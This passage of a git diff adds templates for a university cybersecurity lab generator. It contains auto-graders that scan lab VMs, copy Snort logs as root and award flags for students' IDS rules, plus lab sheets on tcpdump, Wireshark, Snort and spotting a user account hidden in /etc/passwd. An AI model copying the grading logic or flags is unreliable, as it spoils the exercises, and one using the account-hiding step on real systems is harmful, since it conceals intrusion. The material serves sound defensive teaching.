contents "<%= $rand_content1 %>" to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert2 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert2 %>.*<%= $rand_alert2 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert2 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + + + +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> + + + +<% $rand_alert4 = SecureRandom.hex(3) + $flag1 = $flags.pop + $flag2 = $flags.pop + $flag3 = $flags.pop +%> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule. + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert4 %>.*Classification.*User.*<%= $rand_alert4 %> + :-D Well done! ALL THREE FLAGS!: <%= $flag1 %>, <%= $flag2 %>, <%= $flag3 %>. + + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + 8-) Well done! Two flags: <%= $flag1 %>, <%= $flag2 %>. Could be further improved with a classification. + + + + ^--0.*<%= $rand_alert4 %> + :) Well done! <%= $flag1 %>. The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive? More flags are to be had from a better rule ;-) + + + + :( Your rule didn't get triggered (or didn't include the right message). + + + + +<% $rand_alert5 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; curl <%= $web_server_ip %> >/dev/null; curl <%= $web_server_ip %>/contact.html >/dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects access to http://<%= $web_server_ip %> but NOT http://<%= $web_server_ip %>/contact.html. The alert must include the message "<%= $rand_alert5 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to test your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + ^--00.*<%= $rand_alert5 %>.*<%= $rand_alert5 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + + ^--00.*<%= $rand_alert5 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/labsheet.html.erb new file mode 100644 index 000000000..3166f3520 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/random_service_ids_rule.xml.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/random_service_ids_rule.xml.erb new file mode 100644 index 000000000..75d590e25 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/random_service_ids_rule.xml.erb @@ -0,0 +1,31 @@ + +<% $services = {'FTP'=>'20','Telnet'=>'23','SMTP'=>'25','HTTP'=>'80','POP3'=>'110','IMAP'=>'143','SNMP'=>'161','LDAP'=>'389','HTTPS'=>'443','LDAPS'=>'636'} + $rand_service1 = $services.keys.sample + $rand_alert3 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 1000,<%= $services[$rand_service1] %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -u /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to <%= $rand_service1 %> (just the connection attempt, does not require content inspection) on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert3 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + <%= $rand_alert3 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/resources.md.erb new file mode 100644 index 000000000..df3e1a25f --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/resources.md.erb @@ -0,0 +1,3 @@ +## Resources + +Martin Roesch (n.d.) **Chapter 2:** Writing Snort Rules - How to Write Snort Rules and Keep Your Sanity. In: *Snort Users Manual*. Available from: <[*http://www.snort.org.br/documentacao/SnortUsersManual.pdf*](http://www.snort.org.br/documentacao/SnortUsersManual.pdf)> \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/snort.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/snort.md.erb new file mode 100644 index 000000000..f00365680 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/snort.md.erb @@ -0,0 +1,144 @@ +## Intrusion detection system (IDS) monitoring basics + +Continuing **on the ids_server VM:** + +==Make a backup== of the snort's configuration file in case anything goes wrong: + +```bash +sudo cp /etc/snort/snort.conf /etc/snort/snort.conf.bak +``` + +==Change Snort's output== to something more readable: + +```bash +sudo vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Add the following line:== +`output alert_fast` + +==Change Snort's interface== to eth1 (or as you identified earlier), and set the local network to your IP address range (or "any"): + +```bash +sudo vi /etc/snort/snort.debian.conf +``` +> Set the interface and HOME network range, and exit vi (Esc, ":wq"). + +==Start Snort:== + +```bash +sudo service snort stop +sudo service snort start +``` +> Using "reload" or "restart" may not update the interface. + +Snort should now be running, monitoring network traffic for activity. + +==Have a chat with Hackerbot== (**from the desktop VM**). + +This should trigger an alert from Snort, which is stored in an alerts log file. + +**From the ids_server**, ==follow the Snort alert log== file by running (you may like to do this from a new tab): + +```bash +sudo tail -f /var/log/snort/alert +``` +>The tail program will wait for new alerts to be written to the file, and will display them as they are logged. + +==Do an nmap port scan of the web_server== VM (from the desktop VM): + +```bash +nmap <%= $web_server_ip %> +``` + +This should trigger another alert. + +==LogBook question: Does the log match what happened? Are there any false positives (alerts that describe things that did not actually happen)?== + +Try another type of port scan, such as an ==Xmas Tree scan from the desktop== VM (Hint: `man nmap`). + +Press Ctrl-C to ==stop the alert tail process==, if it did not do so automatically. + +The Snort configuration file is also configured to output a "tcpdump" formatted network capture. (`output log_tcpdump: tcpdump.log`) + +Then run the following command to ==view the contents of the log:== + +```bash +sudo ls /var/log/snort/ +sudo tcpdump -r /var/log/snort/tcpdump.log.XXXXX +``` +> Where XXXXX is one of the logs shown from the first command. + +You can use tcpdump's various flags to change the way it is displayed, or you could even open the logged network activity in Wireshark. + +##Configuring Snort + +**On the ids_server**, ==edit /etc/snort/snort.conf==; for example: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, ":wq" to write changes and quit) + +Scroll through the config file and, take notice of these details: + +- In a production environment you would configure Snort to to correctly identify which traffic is considered LAN traffic, and which IP addresses are known to run various servers (this is also configured in snort.debian.conf). In this case, we will leave these settings as is. + +- Note the line "`var RULE_PATH /etc/snort/rules`": this is where the IDS signatures are stored. + +- Note the presence of a Back Orifice detector preprocessor "bo". Back Orifice was a Windows Trojan horse that was popular in the 90s. + +- Note the "sfportscan" preprocessor (is it enabled?), which can detect various kinds of port scans. + +- The "arpspoof" preprocessor is described as experimental, and is not enabled by default. + +- Towards the end of the config file are "include" lines, which specify which of the rule files in RULE\_PATH are in effect. As is common, lines beginning with "\#" are ignored, which is used to list disabled rule files. There are rule files for detecting known exploits, attacks against services such as DNS and FTP, denial of service (DoS) attacks, and so on. + +Add the following line below the other include rules (at the end of the file): + +`include $RULE_PATH/my.rules` + +Save your changes to snort.conf +> (For example, in vi, press Esc, then type ":wq"). + +> Hint: you may find it easier to use Esc, then type ":w" to write your changes to disk and then type ":q" to exit (or "x" shorthand for "wq"). + +Run this command, to ==create your new rule file:== + +```bash +sudo touch /etc/snort/rules/my.rules +``` + +==Edit the file.== For example: + +```bash +sudo vi /etc/snort/rules/my.rules +``` + +==Add this line (*with your own name*), and save your changes:== + +`alert icmp any any ->any any (msg: "*Your-name*: ICMP Packet found"; sid:1000000; rev:1;)` + +> For example, `alert icmp any any -> any any (msg: "**Cliffe**: ICMP Packet found"; sid:1000000; rev:1;)` + +Now that you have new rules, tell Snort to ==reload its configuration:== + +```bash +sudo service snort stop +sudo service snort start +``` +> If after attempting a reload, Snort fails to start, then you have probably made a configuration mistake, so check the log for details by running: `tail /var/log/syslog` + +Due to the new rule you have just applied, sending a simple ICMP Ping (typically used to troubleshoot connectivity) will trigger a Snort alert. + +Try it, **from the desktop** VM, ==ping the web_server:== + +```bash +ping <%= $web_server_ip %> +``` + +Check for the Snort alert. You should see that the ping was detected, and our new message was added to the alerts log file. + diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/tcpdump.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/tcpdump.md.erb new file mode 100644 index 000000000..1ce484ebf --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/tcpdump.md.erb @@ -0,0 +1,116 @@ +### Tcpdump + +This section gives a quick overview of the basics of network monitoring, using tools such as Tcpdump and Wireshark. Keep in mind that these are important foundations, and we will quickly build on these. + +**From your ids_server VM.** (==Login to the ids_server VM==) + +To view live network traffic, ==start tcpdump on the ids_server:== + +First, identify the network interface card (nic) to use: +```bash +ip -4 -o a s | grep <%= $ids_server_ip %> +``` +> The "ip a s" command lists all local IP addresses, and -4 filters to only show IPv4, while -o sets one-line output mode + +```bash +sudo tcpdump -i eth1 +``` +> Where **eth1**, is the name of the interface given in response to the above command. + +With tcpdump still running, **from the desktop VM** ==perform a ping to the ids_server VM.== + +```bash +ping <%= $ids_server_ip %> +``` +> Run the above from the desktop VM. + +> Note that Tcpdump displays the network activity taking place, including the pings, and various TCP connections and ARP requests. Depending on your environment you might also be seeing the traffic between various other VMs. + +==Stop the ping== with Ctrl-C. + +The IDS server has a network card interface that can enter promiscuous mode, meaning that it can view traffic destined to other systems on the network. (Without entering promiscuous mode a computer would only view the traffic destined for itself.) + +Test this, **from the desktop** ==ping the web_server==: + +```bash +ping <%= $web_server_ip %> +``` +> If your network is configured correctly, from the Tcpdump running on the ids_server you should see the pings between these separate VMs (the desktop, and the web_server). Take the time to confirm that this is working. If it is not showing this traffic, but did show the last output, you need to configure the ids_server to be able to view the network traffic. + +Once you have seen tcpdump in action displaying these packets ==press Ctrl-C to exit.== + +Tcpdump can format the output in various ways, showing various levels of detail. + +**From the ids_server**, ==run:== + +```bash +sudo tcpdump -A -i eth1 +``` +> This shows the packet **content** without the information about the source and destination. + +When you ==access a web page in a browser on the desktop VM== (go ahead... ==reload this labsheet== webpage), Tcpdump will display the content, so long as the traffic is not SSL encrypted (for example, so long as the URL doesn't start with http**s**://). Depending on the webserver and browser, the content may be compressed (but not encrypted) to save bandwidth. + +**From the desktop VM**, use command line tools to ==view the labsheet and webserver pages:== + +```bash +curl <%= $web_server_ip %> +curl <%= $hackerbot_server_ip %> +``` + +==Ping the web_server again== and observe the output. + +Stop tcpdump (Ctrl-C) on the ids_server VM once you have observed the output. + +==Run the following== command **on the ids_server:** + +```bash +sudo tcpdump -v -i eth1 +``` +> The above is even more verbose, showing lots of detail about the network traffic. + +Now try the ==above again==. Note the very detailed output. + +It is possible to write tcpdump network traffic to storage, so that it can be analysed later: +```bash +sudo tcpdump -w /tmp/tcpdump-output -i eth1 +``` + +While that is running, ==access a web page from Firefox on the desktop VM== browse to ==[*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>)== (In a new tab.) + +Then ==close tcpdump== (Ctrl-C). + +To view the file containing the tcpdump output on the ids_server VM type: + +```bash +less /tmp/tcpdump-output +``` +> (Press "y" to see the output if you are warned that it may be a binary file) + +> You should be able to PageUp and PageDown through the file. + +> Press "Q" to quit when ready + +Run `man tcpdump` and read about the many options for output and filtering. + +### Tcpdump filtering and Wireshark + +We can also use tcpdump to do some simple monitoring of the network traffic to detect certain key words. + +**On the ids_server**, ==run:== + +```bash +kdesudo wireshark & + +sudo tcpdump -A -i eth1 | grep "GET" +``` +> For this exercise you can ignore the warning about running Wireshark as root, or read online to learn to use setcap to grant Wireshark more specific privileges. + +In Wireshark, choose the network interface card (such as eth1) then click the green start icon, to ==start monitoring traffic==. Generate some traffic and explore how to ==view it using Wireshark==. + +You can also open the captured network traffic in Wireshark. + +Open a web browser **on the desktop VM**, and visit [*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>), note that tcpdump captures *most* network content, and grep can be used to filter it down to lines that are interesting to us. + +Note that making sense of this information using tcpdump and/or Wireshark is possible (and is a common sys-admin task), but the output is too noisy to be constantly and effectively monitored by a human to detect security incidents. Therefore we can use an IDS such as Snort to monitor and analyse the network traffic to detect activity that it is configured to alert. + +Make sure tcpdump is stopped (Ctrl-C). diff --git a/modules/generators/structured_content/hackerbot_config/ids_rules/templates/write_snort_rules.md.erb b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/write_snort_rules.md.erb new file mode 100644 index 000000000..ab1e0b64a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids_rules/templates/write_snort_rules.md.erb @@ -0,0 +1,149 @@ +## Networking concepts (potentially revision) +### The Internet protocol suite +Modern network traffic (such as the Internet) typically uses the Internet protocol suite set of communications protocols. + +The Internet protocol suite has four abstraction layers: + +> * "**The application layer** is the scope within which applications create user data and communicate this data to other applications on another or the same host. The applications, or processes, make use of the services provided by the underlying, lower layers, especially the Transport Layer which provides reliable or unreliable pipes to other processes. The communications partners are characterized by the application architecture, such as the client-server model and peer-to-peer networking. This is the layer in which all higher level protocols, such as SMTP, FTP, SSH, HTTP, operate. Processes are addressed via ports which essentially represent services. +> * **The transport layer** performs host-to-host communications on either the same or different hosts and on either the local network or remote networks separated by routers. It provides a channel for the communication needs of applications. UDP is the basic transport layer protocol, providing an unreliable datagram service. The Transmission Control Protocol provides flow-control, connection establishment, and reliable transmission of data. +> * **The internet layer** has the task of exchanging datagrams across network boundaries. It provides a uniform networking interface that hides the actual topology (layout) of the underlying network connections. It is therefore also referred to as the layer that establishes internetworking, indeed, it defines and establishes the Internet. This layer defines the addressing and routing structures used for the TCP/IP protocol suite. The primary protocol in this scope is the Internet Protocol, which defines IP addresses. Its function in routing is to transport datagrams to the next IP router that has the connectivity to a network closer to the final data destination. +> * **The link layer** defines the networking methods within the scope of the local network link on which hosts communicate without intervening routers. This layer includes the protocols used to describe the local network topology and the interfaces needed to effect transmission of Internet layer datagrams to next-neighbor hosts." +(https://en.wikipedia.org/wiki/Internet_protocol_suite#Abstraction_layers) + +### Common services and (application layer) protocols +In order to make sense of network traffic, it is important to be aware of common protocols and port numbers. + +| TCP/UDP | Port(s) | Service | +|---------|---------|---------| +| tcp | 20/21 | File Transfer Protocol (FTP) (RFC 959) | +| tcp | 22 | Secure Shell (SSH) (RFC 4250-4256) | +| tcp | 23 | Telnet (RFC 854) | +| tcp | 25 | Simple Mail Transfer Protocol (SMTP) (RFC 5321) | +| tcp/udp | 53 | Domain Name System (DNS) (RFC 1034-1035) | +| udp | 69 | Trivial File Transfer Protocol (TFTP) (RFC 1350) | +| tcp | 80 | Hypertext Transfer Protocol (HTTP) (RFC 2616) | +| tcp | 110 | Post Office Protocol (POP) version 3 (RFC 1939) | +| tcp/udp | 137/138/139 | NetBIOS (RFC 1001-1002) | +| tcp | 143 | Internet Message Access Protocol (IMAP) (RFC 3501) | +| tcp/udp | 161/162 | Simple Network Management Protocol (SNMP) (RFC 1901-1908, 3411-3418) | +| tcp/udp | 389 | Lightweight Directory Access Protocol (LDAP) (RFC 4510) | +| tcp | 443 | Hypertext Transfer Protocol over SSL/TLS (HTTPS) (RFC 2818) | +| tcp/udp | 636 | Lightweight Directory Access Protocol over TLS/SSL (LDAPS) (RFC 4513) | +| tcp | 989/990 | FTP over TLS/SSL (RFC 4217) | +| tcp | 6660-6669 | Internet Relay Chat (IRC) | + +Please ensure you understand what each of these ports are used for. If you are not aware of what these protocols are, do some online reading. +> This may be a useful resource: http://www.pearsonitcertification.com/articles/article.aspx?p=1868080 + +Keep in mind that in recent years more and more network based functionality is moving to be hosted via Web protocols (HTTP and HTTPS). + +### Using Wireshark + +Note that in Wireshark you can view individual packets, including IP and TCP headers. Wireshark also has support for viewing TCP streams, so that you can view the traffic at the application layer as it is sent between the two computers (such as, client and server). (Simply right-click on a TCP entry and select *Follow > TCP Stream*.) + +**On the ids_server VM:** + +==Start Wireshark:== + +```bash +kdesudo wireshark & +``` +> For this exercise you can ignore the warnings about running Wireshark as root, or read online to learn to use setcap to grant Wireshark more specific privileges. + +Start capturing, listening to the interface with IP address <%= $ids_server_ip %>. +> If you are not sure, list the interfaces with `ifconfig` or `ip a s` + +**On the desktop VM:** + +While Wireshark is listening, ==access a web page from Firefox, browse to [*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>)== (In a new tab.) + +**On the ids_server VM:** + +Note that Wireshark uses colouring to make it easier to view traffic at a glance. ==View the colouring rules== via *View > Coloring Rules*. + +In Wireshark ==use display filters== to narrow down the packets displayed. At the top of the Wireshark window, enter `tcp.port == 80`, and press Enter. + +Right click the Web traffic, and select *Follow TCP Stream*. + +> Note that the website request starts with the client sending "GET /"... + +Note that you can also view the unzipped version of the content in Wireshark. In the view below the list of packets, ==expand the "Line-based text data: text/html" heading== + +==LogBook Question: What is the difference between these views?== + +Also experiment with using Wireshark display filters of `http` and `irc`. + +## Writing your own Snort rules + +Snort is primarily designed as a signature-based IDS. Snort monitors the network for matches to rules that indicate activity that should trigger an alert. You have now seen Snort detect a few types of activity. Next you will apply more complicated rules, and create your own. + +You may find external reference guides to writing Snort rules helpful. See the resources section below, and Google may come in handy (from outside the VMs). + +In general, rules are defined on one line (although, they can break over lines by using `\`), and take the form of: + +**header** (**body**) + +where header = "**action** (such as *log* or *alert*) **protocol** (*ip*,*tcp*,*udp*,*icmp*,*any*) **source_IP** **source_port** **direction** (->,<>) **destination_IP** **destination_port**" + +> for example: `alert tcp any any -> any any` to make an alert for *any* TCP traffic, or `alert tcp any any -> <%= $web_server_ip %> 80` to make an alert for connections to unencrypted Web on the web_server VM's IP address + +and body = "**option; option: "parameter"; ...**" + +The most common options are: + +> `msg: "message to display"` + +and, to search the packet's content: + +> `content: "some text to search for"` + +To set the type of alert: + +> `classtype:misc-attack` +> +> (where *misc-attack* is defined in `/etc/snort/classification.conf`) + +To give a unique identifier and revision version number: + +> `sid:1000001; rev:1` + +So for example the body could be: + +> `msg: "Website access"; content: "GET"; sid:1000001; rev:1;` + +<% $random_string = SecureRandom.hex(3) %> + +And bringing all this together a Snort rule could read: +> `alert tcp any any -> <%= $web_server_ip %> 80 (msg: "Website access <%= $random_string %>"; content: "GET /"; sid:1000001; rev:1;)` + +**On the ids_server VM:** + +Add the rule, and reload Snort: + +```bash +echo 'alert tcp any any -> <%= $web_server_ip %> 80 (msg: "Website access <%= $random_string %>"; content: "GET /"; sid:1000001; rev:1;)' >> /etc/snort/rules/my.rules + +sudo service snort restart +``` + +==Test the new rule...== + +**On the desktop VM:** + +While Wireshark is listening, ==access a web page from Firefox == browse to ==[*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>)== (In a new tab.) + +**On the ids_server VM:** +==View the Snort alert file, to confirm your new rule generated an alert== + +```bash +sudo tail /var/log/snort/alert +``` + +> The output should include the alert, with <%= $random_string %>. Note that Hackerbot will instruct you to include random strings such as this, in the alerts. +> In this case, the website may have resulted in a few HTTP connections, therefore triggering the rule a few times. + +==LabBook Question: Browse the existing rules in `/etc/snort/rules` and describe how one of the existing rules works.== + +Tips: +* **Don't forget to reload Snort each time you change your rules.** +* Use unique sid values for each rule. \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/integrity_detection.pp b/modules/generators/structured_content/hackerbot_config/integrity_detection/integrity_detection.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/integrity_detection/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb new file mode 100644 index 000000000..85fc51e4e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_local/local.rb @@ -0,0 +1,19 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class Integrity2 < HackerbotConfigGenerator + + def initialize + super + self.module_name = 'Hackerbot Config Generator Integrity' + self.title = 'Integrity management: detecting changes' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + end + +end + +Integrity2.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml new file mode 100644 index 000000000..2761e25c4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/secgen_metadata.xml @@ -0,0 +1,53 @@ + + + + Hackerbot config for an integrity detection lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for an integrity lab. + Topics covered: Detecting changes to resources using backups; + File integrity checkers. + + hackerbot_config + linux + + accounts + flags + root_password + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb new file mode 100644 index 000000000..825860781 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes.md.erb @@ -0,0 +1,3 @@ +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb new file mode 100644 index 000000000..7c2e4c72a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/detect_changes_backups.md.erb @@ -0,0 +1,89 @@ +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ. + +Make a directory to store your backups. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/backups/ +``` + +==Make a backup copy of your /etc/passwd file:== + +```bash +cp /etc/passwd /home/<%= $main_user %>/backups/ +``` + +This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes. + +==Add a new user== to your computer... + +```bash +sudo useradd new-username +``` +> Where ==*new-username*==, is some new name. + +To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious: + +```bash +sudo vi /etc/passwd +``` +> **Be careful, making the wrong changes to this file will stop your system from working!** + +> Move the cursor onto the line representing your new account (probably at the bottom). + +> In vi type: +> :m *-==number==* +> +> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Look at the changes in your accounts made on your computer, and try to spot the new user account: + +```bash +less /etc/passwd +``` +> (q to exit) + +It's not as easy as it sounds, especially if your system has lots of user accounts. + +Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command. + +==Run:== + +```bash +diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd +``` +Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code: + +```bash +diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd +``` + +The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup. + +Make a backup of your personal_secrets. ==Run:== + +```bash +cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal +``` +> The -r tells cp to copy directories and their contents recursively (including sub-directories) + +==Make a change to a file== in <%= $example_dir %> + +Then ==compare using diff:== + +```bash +diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/ +``` +> -r instructs diff to do a recursive comparison (searching through sub-directories) +> You can add *--suppress-common-lines* to reduce the amount of output + +There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit. + +> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb new file mode 100644 index 000000000..5ca2ed8a6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/file_attributes.md.erb @@ -0,0 +1,69 @@ +### Protecting integrity with file attributes 